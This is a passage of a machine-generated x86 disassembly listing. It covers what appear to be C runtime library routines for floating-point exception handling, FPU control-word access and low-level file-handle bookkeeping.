		mov	ecx, 0C00h
		and	eax, ecx
		jz	loc_4250C7
		cmp	eax, 400h
		jz	short loc_42509D
		cmp	eax, 800h
		jz	short loc_425073
		cmp	eax, ecx
		jnz	loc_4250E9
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_42A490
		fld	ds:dbl_433CA8
		fnstsw	ax
		test	ah, 41h
		jz	short loc_42506B
		fchs

loc_42506B:				; CODE XREF: sub_424FC9+9Ej
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_4250E7
; ---------------------------------------------------------------------------

loc_425073:				; CODE XREF: sub_424FC9+7Ej
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_42A490
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42508D
		fld	ds:dbl_433C98
		jmp	short loc_425095
; ---------------------------------------------------------------------------

loc_42508D:				; CODE XREF: sub_424FC9+BAj
		fld	ds:dbl_433CA8
		fchs

loc_425095:				; CODE XREF: sub_424FC9+C2j
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_4250E7
; ---------------------------------------------------------------------------

loc_42509D:				; CODE XREF: sub_424FC9+77j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_42A490
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_4250B7
		fld	ds:dbl_433CA8
		jmp	short loc_4250BF
; ---------------------------------------------------------------------------

loc_4250B7:				; CODE XREF: sub_424FC9+E4j
		fld	ds:dbl_433C98
		fchs

loc_4250BF:				; CODE XREF: sub_424FC9+ECj
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		jmp	short loc_4250E7
; ---------------------------------------------------------------------------

loc_4250C7:				; CODE XREF: sub_424FC9+6Cj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_42A490
		fld	ds:dbl_433C98
		fnstsw	ax
		test	ah, 41h
		jz	short loc_4250E1
		fchs

loc_4250E1:				; CODE XREF: sub_424FC9+114j
		fstp	[ebp+var_10]
		fld	[ebp+var_10]

loc_4250E7:				; CODE XREF: sub_424FC9+A8j
					; sub_424FC9+D2j ...
		fstp	qword ptr [ecx]

loc_4250E9:				; CODE XREF: sub_424FC9+82j
		and	esi, 0FFFFFFFEh
		jmp	loc_4251CB
; ---------------------------------------------------------------------------

loc_4250F1:				; CODE XREF: sub_424FC9+4Aj
					; sub_424FC9+54j
		test	al, 2
		jz	loc_4251CB
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_4251CB
		xor	esi, esi
		test	al, 10h
		jz	short loc_42510B
		mov	esi, ebx

loc_42510B:				; CODE XREF: sub_424FC9+13Ej
		fld	ds:dbl_42A490
		push	edi
		mov	edi, [ebp+arg_4]
		fld	qword ptr [edi]
		fucompp
		fnstsw	ax
		test	ah, 44h
		jnp	loc_4251B5
		fld	qword ptr [edi]
		lea	eax, [ebp+var_8]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+28h+var_28]
		call	sub_425481
		mov	ecx, [ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		add	ecx, 0FFFFFA00h
		add	esp, 0Ch
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_425158
		fmul	ds:dbl_42A490
		mov	esi, ebx
		jmp	short loc_4251AB
; ---------------------------------------------------------------------------

loc_425158:				; CODE XREF: sub_424FC9+183j
		fcomp	ds:dbl_42A490
		fnstsw	ax
		test	ah, 5
		jp	short loc_425169
		mov	edx, ebx
		jmp	short loc_42516B
; ---------------------------------------------------------------------------

loc_425169:				; CODE XREF: sub_424FC9+19Aj
		xor	edx, edx

loc_42516B:				; CODE XREF: sub_424FC9+19Ej
		xor	eax, eax
		mov	al, byte ptr [ebp+var_10+6]
		and	eax, 0Fh
		or	eax, 10h
		mov	word ptr [ebp+var_10+6], ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_4251A2
		sub	eax, ecx

loc_425185:				; CODE XREF: sub_424FC9+1D7j
		test	byte ptr [ebp+var_10], bl
		jz	short loc_425190
		test	esi, esi
		jnz	short loc_425190
		mov	esi, ebx

loc_425190:				; CODE XREF: sub_424FC9+1BFj
					; sub_424FC9+1C3j
		shr	dword ptr [ebp+var_10],	1
		test	byte ptr [ebp+var_10+4], bl
		jz	short loc_42519C
		or	byte ptr [ebp+var_10+3], 80h

loc_42519C:				; CODE XREF: sub_424FC9+1CDj
		shr	dword ptr [ebp+var_10+4], 1
		dec	eax
		jnz	short loc_425185

loc_4251A2:				; CODE XREF: sub_424FC9+1B8j
		test	edx, edx
		jz	short loc_4251AE
		fld	[ebp+var_10]
		fchs

loc_4251AB:				; CODE XREF: sub_424FC9+18Dj
		fstp	[ebp+var_10]

loc_4251AE:				; CODE XREF: sub_424FC9+1DBj
		fld	[ebp+var_10]
		fstp	qword ptr [edi]
		jmp	short loc_4251B7
; ---------------------------------------------------------------------------

loc_4251B5:				; CODE XREF: sub_424FC9+155j
		mov	esi, ebx

loc_4251B7:				; CODE XREF: sub_424FC9+1EAj
		test	esi, esi
		pop	edi
		jz	short loc_4251C4
		push	10h
		call	sub_425578
		pop	ecx

loc_4251C4:				; CODE XREF: sub_424FC9+1F1j
		and	[ebp+var_4], 0FFFFFFFDh
		mov	esi, [ebp+var_4]

loc_4251CB:				; CODE XREF: sub_424FC9+29j
					; sub_424FC9+43j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4251E2
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4251E2
		push	20h
		call	sub_425578
		pop	ecx
		and	esi, 0FFFFFFEFh

loc_4251E2:				; CODE XREF: sub_424FC9+206j
					; sub_424FC9+20Cj
		xor	eax, eax
		test	esi, esi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_424FC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4251ED	proc near		; CODE XREF: sub_425242+6Cp
					; sub_425242+91p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_425209
		jle	short locret_425214
		cmp	eax, 3
		jg	short locret_425214
		call	sub_4200B5
		mov	dword ptr [eax], 22h
		retn
; ---------------------------------------------------------------------------

loc_425209:				; CODE XREF: sub_4251ED+7j
		call	sub_4200B5
		mov	dword ptr [eax], 21h

locret_425214:				; CODE XREF: sub_4251ED+9j
					; sub_4251ED+Ej
		retn
sub_4251ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_425215	proc near		; CODE XREF: sub_425333+55p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_425221
		push	5
		jmp	short loc_425237
; ---------------------------------------------------------------------------

loc_425221:				; CODE XREF: sub_425215+6j
		test	al, 8
		jz	short loc_425229
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_425229:				; CODE XREF: sub_425215+Ej
		test	al, 4
		jz	short loc_425231
		push	2
		jmp	short loc_425237
; ---------------------------------------------------------------------------

loc_425231:				; CODE XREF: sub_425215+16j
		test	al, 1
		jz	short loc_425239
		push	3

loc_425237:				; CODE XREF: sub_425215+Aj
					; sub_425215+1Aj
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_425239:				; CODE XREF: sub_425215+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_425215	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_425242(int,int,int,int,int,int,double,int)

sub_425242	proc near		; CODE XREF: sub_4252E0+2Ap
					; sub_425333+87p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax

loc_42524A:				; CODE XREF: sub_425242+18j
		mov	ecx, ds:dword_433BB0[eax*8]
		cmp	ecx, [ebp+arg_4]
		jz	short loc_4252BA
		inc	eax
		cmp	eax, 1Dh
		jl	short loc_42524A
		xor	eax, eax

loc_42525E:				; CODE XREF: sub_425242+7Fj
		test	eax, eax
		mov	[ebp+var_1C], eax
		jz	short loc_4252C3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_425554
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_424D21
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4252B4
		push	esi
		call	sub_4251ED
		pop	ecx

loc_4252B4:				; CODE XREF: sub_425242+69j
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4252BA:				; CODE XREF: sub_425242+12j
		mov	eax, ds:off_433BB4[eax*8]
		jmp	short loc_42525E
; ---------------------------------------------------------------------------

loc_4252C3:				; CODE XREF: sub_425242+21j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_425554
		push	[ebp+arg_0]
		call	sub_4251ED
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_425242	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4252E0(int,double,int)

sub_4252E0	proc near		; CODE XREF: .text:00420A6Ep
					; .text:00420B41p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_433BA8, 0
		jnz	short loc_425314
		push	[ebp+arg_C]	; int
		fld	[ebp+arg_4]
		sub	esp, 18h
		fstp	[esp+1Ch+var_C]
		fldz
		fstp	[esp+1Ch+var_14]
		fld	[ebp+arg_4]
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_425242
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425314:				; CODE XREF: sub_4252E0+Aj
		call	sub_4200B5
		push	0FFFFh
		push	[ebp+arg_C]
		mov	dword ptr [eax], 21h
		call	sub_425554
		fld	[ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4252E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_425333(int,int,double,double,int)

sub_425333	proc near		; CODE XREF: .text:loc_420AE4p
					; .text:loc_420BB7p

var_9C		= qword	ptr -9Ch
var_94		= qword	ptr -94h
var_8C		= qword	ptr -8Ch
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_40		= dword	ptr -40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF0h
		sub	esp, 80h
		mov	eax, ds:dword_433148
		push	[ebp+arg_18]
		mov	[esp+84h+var_4], eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_424FC9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_425385
		and	[esp+80h+var_40], 0FFFFFFFEh
		lea	eax, [ebp+arg_10]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [esp+94h+var_80]
		push	eax
		call	sub_424D24
		add	esp, 18h

loc_425385:				; CODE XREF: sub_425333+2Cj
		push	[ebp+arg_0]
		call	sub_425215
		add	esp, 4
		cmp	ds:dword_433BA8, 0
		jnz	short loc_4253C4
		test	eax, eax
		jz	short loc_4253C4
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		sub	esp, 18h
		fstp	[esp+9Ch+var_8C]
		fldz
		fstp	[esp+9Ch+var_94]
		fld	[ebp+arg_8]
		fstp	[esp+9Ch+var_9C]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_425242
		add	esp, 24h
		jmp	short loc_4253DE
; ---------------------------------------------------------------------------

loc_4253C4:				; CODE XREF: sub_425333+64j
					; sub_425333+68j
		push	eax
		call	sub_4251ED
		mov	[esp+84h+var_84], 0FFFFh
		push	[ebp+arg_18]
		call	sub_425554
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx

loc_4253DE:				; CODE XREF: sub_425333+8Fj
		mov	ecx, [esp+80h+var_4]
		call	sub_41E5BB
		mov	esp, ebp
		pop	ebp
		retn
sub_425333	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4253EB(double)

sub_4253EB	proc near		; CODE XREF: .text:loc_420AA3p
					; .text:loc_420B76p

var_8		= qword	ptr -8
arg_0		= qword	ptr  4

		push	ecx
		push	ecx
		fld	[esp+8+arg_0]
		frndint
		fstp	[esp+8+var_8]
		fld	[esp+8+var_8]
		pop	ecx
		pop	ecx
		retn
sub_4253EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4253FC(double,int)

sub_4253FC	proc near		; CODE XREF: sub_425481+82p
					; sub_425481+95p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		fld	[ebp+arg_0]
		mov	ecx, dword ptr [ebp+arg_0+6]
		fstp	[ebp+var_8]
		add	eax, 3FEh
		shl	eax, 4
		and	ecx, 0FFFF800Fh
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_4253FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425426	proc near		; CODE XREF: .text:00420A4Ep
					; .text:00420B21p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_42543E
		cmp	[ebp+arg_0], edx
		jnz	short loc_425450
		xor	eax, eax
		inc	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42543E:				; CODE XREF: sub_425426+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_425450
		cmp	[ebp+arg_0], edx
		jnz	short loc_425450
		push	2
		jmp	short loc_42547A
; ---------------------------------------------------------------------------

loc_425450:				; CODE XREF: sub_425426+11j
					; sub_425426+1Fj ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_425463
		push	3
		jmp	short loc_42547A
; ---------------------------------------------------------------------------

loc_425463:				; CODE XREF: sub_425426+37j
		cmp	cx, 7FF0h
		jnz	short loc_42547D
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_425478
		cmp	[ebp+arg_0], edx
		jz	short loc_42547D

loc_425478:				; CODE XREF: sub_425426+4Bj
		push	4

loc_42547A:				; CODE XREF: sub_425426+28j
					; sub_425426+3Bj
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_425426+42j
					; sub_425426+50j
		xor	eax, eax
		pop	ebp
		retn
sub_425426	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_425481(double,int)

sub_425481	proc near		; CODE XREF: sub_424FC9+166p

var_14		= qword	ptr -14h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	ds:dbl_42A490
		fld	[ebp+arg_0]
		fucompp
		fnstsw	ax
		test	ah, 44h
		jp	short loc_4254A1
		fldz
		xor	edx, edx
		jmp	loc_425530
; ---------------------------------------------------------------------------

loc_4254A1:				; CODE XREF: sub_425481+15j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42550D
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_4254B9
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42550D

loc_4254B9:				; CODE XREF: sub_425481+31j
		fld	[ebp+arg_0]
		mov	edx, 0FFFFFC03h
		fcomp	ds:dbl_42A490
		fnstsw	ax
		test	ah, 5
		jp	short loc_4254D3
		xor	eax, eax
		inc	eax
		jmp	short loc_4254E8
; ---------------------------------------------------------------------------

loc_4254D3:				; CODE XREF: sub_425481+4Bj
		xor	eax, eax
		jmp	short loc_4254E8
; ---------------------------------------------------------------------------

loc_4254D7:				; CODE XREF: sub_425481+6Bj
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_4254E4
		or	dword ptr [ebp+arg_0+4], 1

loc_4254E4:				; CODE XREF: sub_425481+5Dj
		shl	dword ptr [ebp+arg_0], 1
		dec	edx

loc_4254E8:				; CODE XREF: sub_425481+50j
					; sub_425481+54j
		test	byte ptr [ebp+arg_0+6],	10h
		jz	short loc_4254D7
		and	byte ptr [ebp+arg_0+6],	0EFh
		cmp	eax, ecx
		jz	short loc_4254FA
		or	byte ptr [ebp+arg_0+7],	80h

loc_4254FA:				; CODE XREF: sub_425481+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_4253FC
		add	esp, 0Ch
		jmp	short loc_425530
; ---------------------------------------------------------------------------

loc_42550D:				; CODE XREF: sub_425481+28j
					; sub_425481+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+14h+var_14]
		call	sub_4253FC
		mov	edx, dword ptr [ebp+arg_0+6]
		shr	edx, 4
		and	edx, 7FFh
		add	esp, 0Ch
		sub	edx, 3FEh

loc_425530:				; CODE XREF: sub_425481+1Bj
					; sub_425481+8Aj
		mov	eax, [ebp+arg_8]
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		mov	[eax], edx
		leave
		retn
sub_425481	endp


; =============== S U B	R O U T	I N E =======================================



sub_42553D	proc near		; CODE XREF: sub_424D24+DEp

var_4		= word ptr -4

		push	ecx
		fstsw	[esp+4+var_4]
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_42553D	endp


; =============== S U B	R O U T	I N E =======================================



sub_425548	proc near		; CODE XREF: sub_424D24+1E6p

var_4		= word ptr -4

		push	ecx
		fnstsw	[esp+4+var_4]
		fnclex
		movsx	eax, [esp+4+var_4]
		pop	ecx
		retn
sub_425548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425554	proc near		; CODE XREF: .text:00420A30p
					; .text:00420A7Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		not	eax
		and	eax, [ebp+var_4]
		or	eax, ecx
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_425554	endp


; =============== S U B	R O U T	I N E =======================================



sub_425578	proc near		; CODE XREF: sub_424FC9+20p
					; sub_424FC9+3Ap ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  4

		push	ecx
		push	ecx
		mov	cl, byte ptr [esp+8+arg_0]
		test	cl, 1
		jz	short loc_42558E
		fld	ds:tbyte_433CC0
		fistp	[esp+8+arg_0]
		wait

loc_42558E:				; CODE XREF: sub_425578+9j
		test	cl, 8
		jz	short loc_4255A3
		fstsw	ax
		fld	ds:tbyte_433CC0
		fstp	[esp+8+var_8]
		wait
		fstsw	ax

loc_4255A3:				; CODE XREF: sub_425578+19j
		test	cl, 10h
		jz	short loc_4255B2
		fld	ds:tbyte_433CCC
		fstp	[esp+8+var_8]
		wait

loc_4255B2:				; CODE XREF: sub_425578+2Ej
		test	cl, 4
		jz	short loc_4255C0
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_4255C0:				; CODE XREF: sub_425578+3Dj
		test	cl, 20h
		jz	short loc_4255CB
		fldpi
		fstp	[esp+8+var_8]
		wait

loc_4255CB:				; CODE XREF: sub_425578+4Bj
		pop	ecx
		pop	ecx
		retn
sub_425578	endp

; ---------------------------------------------------------------------------

loc_4255CE:				; CODE XREF: .text:00420C7Aj
		push	10h
		push	offset stru_42A890
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp-1Ch], ebx
		push	1
		call	sub_41E983
		pop	ecx
		mov	[ebp-4], ebx
		push	3
		pop	edi

loc_4255ED:				; CODE XREF: .text:0042564Cj
		mov	[ebp-20h], edi
		cmp	edi, ds:dword_439580
		jge	short loc_42564E
		mov	esi, edi
		shl	esi, 2
		mov	eax, ds:dword_438560
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_42564B
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_42561E
		push	eax
		call	sub_41D4C3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42561E
		inc	dword ptr [ebp-1Ch]

loc_42561E:				; CODE XREF: .text:0042560Dj
					; .text:00425619j
		cmp	edi, 14h
		jl	short loc_42564B
		mov	eax, ds:dword_438560
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_429098	; RtlDeleteCriticalSection
		mov	eax, ds:dword_438560
		push	dword ptr [esi+eax]
		call	sub_41C2DD
		pop	ecx
		mov	eax, ds:dword_438560
		mov	[esi+eax], ebx

loc_42564B:				; CODE XREF: .text:00425607j
					; .text:00425621j
		inc	edi
		jmp	short loc_4255ED
; ---------------------------------------------------------------------------

loc_42564E:				; CODE XREF: .text:004255F6j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_425660
		mov	eax, [ebp-1Ch]
		call	__SEH_epilog
		retn

; =============== S U B	R O U T	I N E =======================================



sub_425660	proc near		; CODE XREF: .text:00425652p
					; DATA XREF: .text:stru_42A890o
		push	1
		call	sub_41E8CE
		pop	ecx
		retn
sub_425660	endp


; =============== S U B	R O U T	I N E =======================================



sub_425669	proc near		; CODE XREF: sub_421B9F+220p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		cmp	ecx, ds:dword_43844C
		push	esi
		push	edi
		jnb	short loc_4256CC
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:438460h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		cmp	dword ptr [esi+eax], 0FFFFFFFFh
		jnz	short loc_4256CC
		cmp	ds:dword_433114, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_4256C2
		sub	ecx, 0
		jz	short loc_4256B9
		dec	ecx
		jz	short loc_4256B4
		dec	ecx
		jnz	short loc_4256C2
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_4256BC
; ---------------------------------------------------------------------------

loc_4256B4:				; CODE XREF: sub_425669+41j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_4256BC
; ---------------------------------------------------------------------------

loc_4256B9:				; CODE XREF: sub_425669+3Ej
		push	ebx
		push	0FFFFFFF6h

loc_4256BC:				; CODE XREF: sub_425669+49j
					; sub_425669+4Ej
		call	ds:dword_429028	; SetStdHandle

loc_4256C2:				; CODE XREF: sub_425669+39j
					; sub_425669+44j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_4256E2
; ---------------------------------------------------------------------------

loc_4256CC:				; CODE XREF: sub_425669+Cj
					; sub_425669+2Bj
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_4256E2:				; CODE XREF: sub_425669+61j
		pop	edi
		pop	esi
		retn
sub_425669	endp


; =============== S U B	R O U T	I N E =======================================



sub_4256E5	proc near		; CODE XREF: sub_421060+51p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	ecx, ds:dword_43844C
		push	esi
		push	edi
		jnb	short loc_42574B
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:438460h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42574B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42574B
		cmp	ds:dword_433114, 1
		jnz	short loc_425741
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_425738
		dec	ecx
		jz	short loc_425733
		dec	ecx
		jnz	short loc_425741
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42573B
; ---------------------------------------------------------------------------

loc_425733:				; CODE XREF: sub_4256E5+44j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42573B
; ---------------------------------------------------------------------------

loc_425738:				; CODE XREF: sub_4256E5+41j
		push	eax
		push	0FFFFFFF6h

loc_42573B:				; CODE XREF: sub_4256E5+4Cj
					; sub_4256E5+51j
		call	ds:dword_429028	; SetStdHandle

loc_425741:				; CODE XREF: sub_4256E5+3Bj
					; sub_4256E5+47j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_425761
; ---------------------------------------------------------------------------

loc_42574B:				; CODE XREF: sub_4256E5+Cj
					; sub_4256E5+2Dj ...
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_425761:				; CODE XREF: sub_4256E5+64j
		pop	edi
		pop	esi
		retn
sub_4256E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_425764	proc near		; CODE XREF: sub_421060+7p
					; sub_421060+1Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_43844C
		jnb	short loc_42578E
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_438460[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		test	byte ptr [eax+4], 1
		jz	short loc_42578E
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_42578E:				; CODE XREF: sub_425764+Aj
					; sub_425764+25j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		retn
sub_425764	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4257A5	proc near		; CODE XREF: sub_4210E3+38p
					; sub_422197+38p ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset stru_42A8A0
		call	__SEH_prolog
		mov	edi, [ebp+arg_0]
		mov	ecx, edi
		sar	ecx, 5
		mov	eax, edi
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		mov	ecx, ds:dword_438460[ecx*4]
		lea	esi, [ecx+eax*4]
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jnz	short loc_425813
		push	0Ah
		call	sub_41E983
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi+8], ebx
		jnz	short loc_42580A
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_423F72
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_425807
		push	0FFFFFFFFh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		call	sub_41DECE
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_425833
; ---------------------------------------------------------------------------

loc_425807:				; CODE XREF: sub_4257A5+4Fj
		inc	dword ptr [esi+8]

loc_42580A:				; CODE XREF: sub_4257A5+3Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_42583C

loc_425813:				; CODE XREF: sub_4257A5+2Bj
		mov	eax, edi
		sar	eax, 5
		and	edi, 1Fh
		lea	ecx, [edi+edi*8]
		mov	eax, ds:dword_438460[eax*4]
		lea	eax, [eax+ecx*4+0Ch]
		push	eax
		call	ds:dword_429130	; RtlEnterCriticalSection
		xor	eax, eax
		inc	eax

loc_425833:				; CODE XREF: sub_4257A5+60j
		call	__SEH_epilog
		retn
sub_4257A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_425839	proc near		; DATA XREF: .text:stru_42A8A0o
		mov	edi, [ebp+8]
sub_425839	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42583C	proc near		; CODE XREF: sub_4257A5+69p
		push	0Ah
		call	sub_41E8CE
		pop	ecx
		retn
sub_42583C	endp


; =============== S U B	R O U T	I N E =======================================



